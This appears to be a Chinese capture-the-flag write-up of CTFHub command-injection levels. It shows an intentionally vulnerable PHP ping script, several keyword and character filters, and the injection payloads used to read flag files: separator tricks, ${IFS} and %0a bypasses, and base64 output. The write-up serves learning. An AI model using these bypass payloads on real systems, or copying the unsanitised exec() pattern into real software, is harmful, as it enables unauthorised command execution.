1.命令注入

// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
} if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>

根据第五行代码,这里直接拼接就行

看到有一个php文件,8061098418328.php,直接用cat,但是没有显示,
右键查看网页源代码得到FLAG
或者考虑到有特殊字符,无法回显,使用base64编码,拿到flag。
这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入

2、过滤CAT

思路:代替cat
cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

没有回显,查看网页源代码,或者base64输出解码



3、过滤空格

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

思路:代替空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}${IFS}来代替空格

(127.0.0.1;cat${IFS}flag_64402731720130.php,我用的几个只有${IFS}成功了)

**

4、过滤目录分隔符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

直接祭出poc127.0.0.1;cd flag_is_here;cat flag_5898818519729.php |base64

**

5、过滤运算符

这个题感觉有个漏洞就是i直接查看网页源代码就看到flag了

正常的思路应该是base64输出出来
过滤了管道符|
而file | base64也可以写成base64 file

127.0.0.1; base64 flag_297281061019145.php
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

**
**

6、综合过滤练习

思路:

过滤了|,&,;, ,/,cat,flag,ctfhub

空格可以用${IFS}

cat可以用more

flag可以用正则f***

ctfhub应该用不到

查了一下,在linux下,命令分隔符除了;还有%0a

有了;就可以不用运算符了

然后按着之前的思路去做就可以了
查看目录 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
查看文件内容(谷歌浏览器右键查看网页源代码得到flag)127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_313271338621245.php
base64输出flag 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_313271338621245.php
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

过程中遇到的问题
因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
**

CTFHub技能树RCE命令注入的更多相关文章

  1. ctfhub技能树—RCE—命令注入

    打开靶机 查看页面信息 输入127.0.0.1进行测试 构造payload 127.0.0.1&ls 查看文件内容信息 127.0.0.1 & cat 179852221619745. ...

  2. ctfhub rce 命令注入 过滤cat 过滤空格 过滤目录分隔符

    命令注入 源码直接给了出来尝试127.0.0.1;ls 发现一串数字的php文件cat查看 127.0.0.1|cat 233382768628619.php 查看源码发现flag 过滤cat 这题和 ...

  3. ctfhub技能树—RCE—综合过滤练习

    打开靶机 查看页面信息 查看源码可以发现这一次过滤了很多东西,查看当前目录信息 查询到%0a为换行符,可以利用这个url编码进行命令注入,开始尝试 http://challenge-2a4584dab ...

  4. ctfhub技能树—RCE—过滤空格

    打开靶机 查看页面信息 开始尝试注入 127.0.0.1 || ls 尝试绕过 127.0.0.1||ls 使用cat命令查看flag 127.0.0.11||cat<flag_10872536 ...

  5. ctfhub技能树—RCE—过滤目录分隔符,过滤运算符

    过滤目录分隔符 打开靶机 查看页面信息 查询当前目录下文件结构 进入flag_is_here目录 127.0.0.1;cd flag_is_here 127.0.0.1||ls 执行之后发现还是在当前 ...

  6. ctfhub技能树—RCE—过滤cat

    打开靶机 查看页面信息 构造payload 127.0.0.1 || ls 题目提示过滤了cat,但我还是想试试 果然不行 网页访问没有结果,应该和上题一样被注释了,使用和同样的方法进行解题 利用命令 ...

  7. CTFHub web技能树之RCE初步 命令注入+过滤cat

    在一个大佬的突然丢了个题过来,于是去玩了玩rce的两道题 大佬的博客跳转链接在此->>>大佬召唤机 叫 命令注入 一上来就是源码出现,上面有个ping的地方 <?php $re ...

  8. CTFHub web技能树 RCE

    一个简单的ping,还没有过滤,源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件,,,但是直接访问和 cat 都出不来... 试了几下反弹shell,没成功... ...

  9. DVWA系列精品教程:2、命令注入

    文章更新于:2020-04-11 注:如何搭建环境参见:搭建DVWA Web渗透测试靶场 DVWA之命令注入漏洞 一.介绍 1.1.官方说明 1.2.总结 二.命令注入实践 2.1.安全级别:LOW ...

  10. OS命令注入

    SSL http://kb.cnblogs.com/page/162080/ http://baike.baidu.com/link?url=jPitKuDw_ncDlMbOc1SkWzM9TuKX9 ...

随机推荐

  1. shell 数组函数进阶练习

    一维数组的定义.统计.引用和删除等操作. A=( test1 test2 test3 ) ,定义数组一般以括号的方式来定义, 数组的值可以随机定义. echo ${A[0]} ,代表引用第一个数组变量 ...

  2. Presto配置调整

    一.常用优化 1.每个查询最大使用内存1T,目前配置 3T query.max-memory=1T 2.每个工作节点最多加载10GB数据,目前 60GB query.max-memory-per-no ...

  3. C# Winform 当音频播放完成后,播放下一个音频,怎么知道音频有没有播放完成

    程序在预警时,会发出报警音,当报警音频播放时间,超过预警频率时,就会像我们打印文档一样,像打印机发送10次打印任务.当打出第1张纸的时候,这时候想取消打印.就不能在电脑端通过软件操作了.因此为了避免这 ...

  4. 如何配置支付宝密钥之如何配置普通 RSA2 密钥|保姆级教学(一)

    进行支付宝开发的第一步就是:配置密钥. 但是有很多小伙伴都不知道怎么配置,这篇文章将手把手帮你从头开始捋清如何配置支付宝密钥- 这次首先放一下官方文档:[如何生成及配置 RSA2 密钥],大佬们也可以 ...

  5. 使用nvm管理node.js版本,方便vue2,vue3开发

    在Vue项目开发过程中,我们常常会遇到同时维护Vue2和Vue3项目的情况.由于不同版本的Vue对Node.js 版本的要求有所差异,这就使得Node.js 版本管理成为了一个关键问题.NVM(Nod ...

  6. ABB机器人IRB1600齿轮箱维修故障四大原因

    一.ABB机器人IRB1600齿轮箱齿轮磨损 齿轮磨损是IRB1600齿轮箱常见的故障.长时间的高速运转和负载作用会导致齿轮表面磨损,进而产生噪音和振动.维修时,需要对磨损的齿轮进行更换,同时检查相邻 ...

  7. JSONObject String、实体类 list 转换

    JSONObject获取java list JSONObject  -->> JSONArray jsonObject  .getJSONArray("list") J ...

  8. DeepSeek 不太稳定?那就搭建自己的 DeepSeek 服务

    概述 DeepSeek-R1 发布 DeepSeek 在 2025 年给我们送来一份惊喜,1 月 20 号正式发布第一代推理大模型 DeepSeek-R1.这个模型在数学推理.代码生成和复杂问题解决等 ...

  9. go、thinkphp8、webman数据读取并发测试、性能测试

    前期准备:本地搭建程序运行所需环境,分别编写go,thinkphp8和webman程序,确保程序运行正常,新建mysql的student表,模拟存储学生信息,共计3646条数据,分别使用go语言.th ...

  10. wxpython 文件重命名报错提示os.rename WinError 2]系统找不到指定的文件‘

    原因:重命名需要把文件路径带上 源码: for file in files: print(file) os.rename(file, file.replace(beforename, afternam ...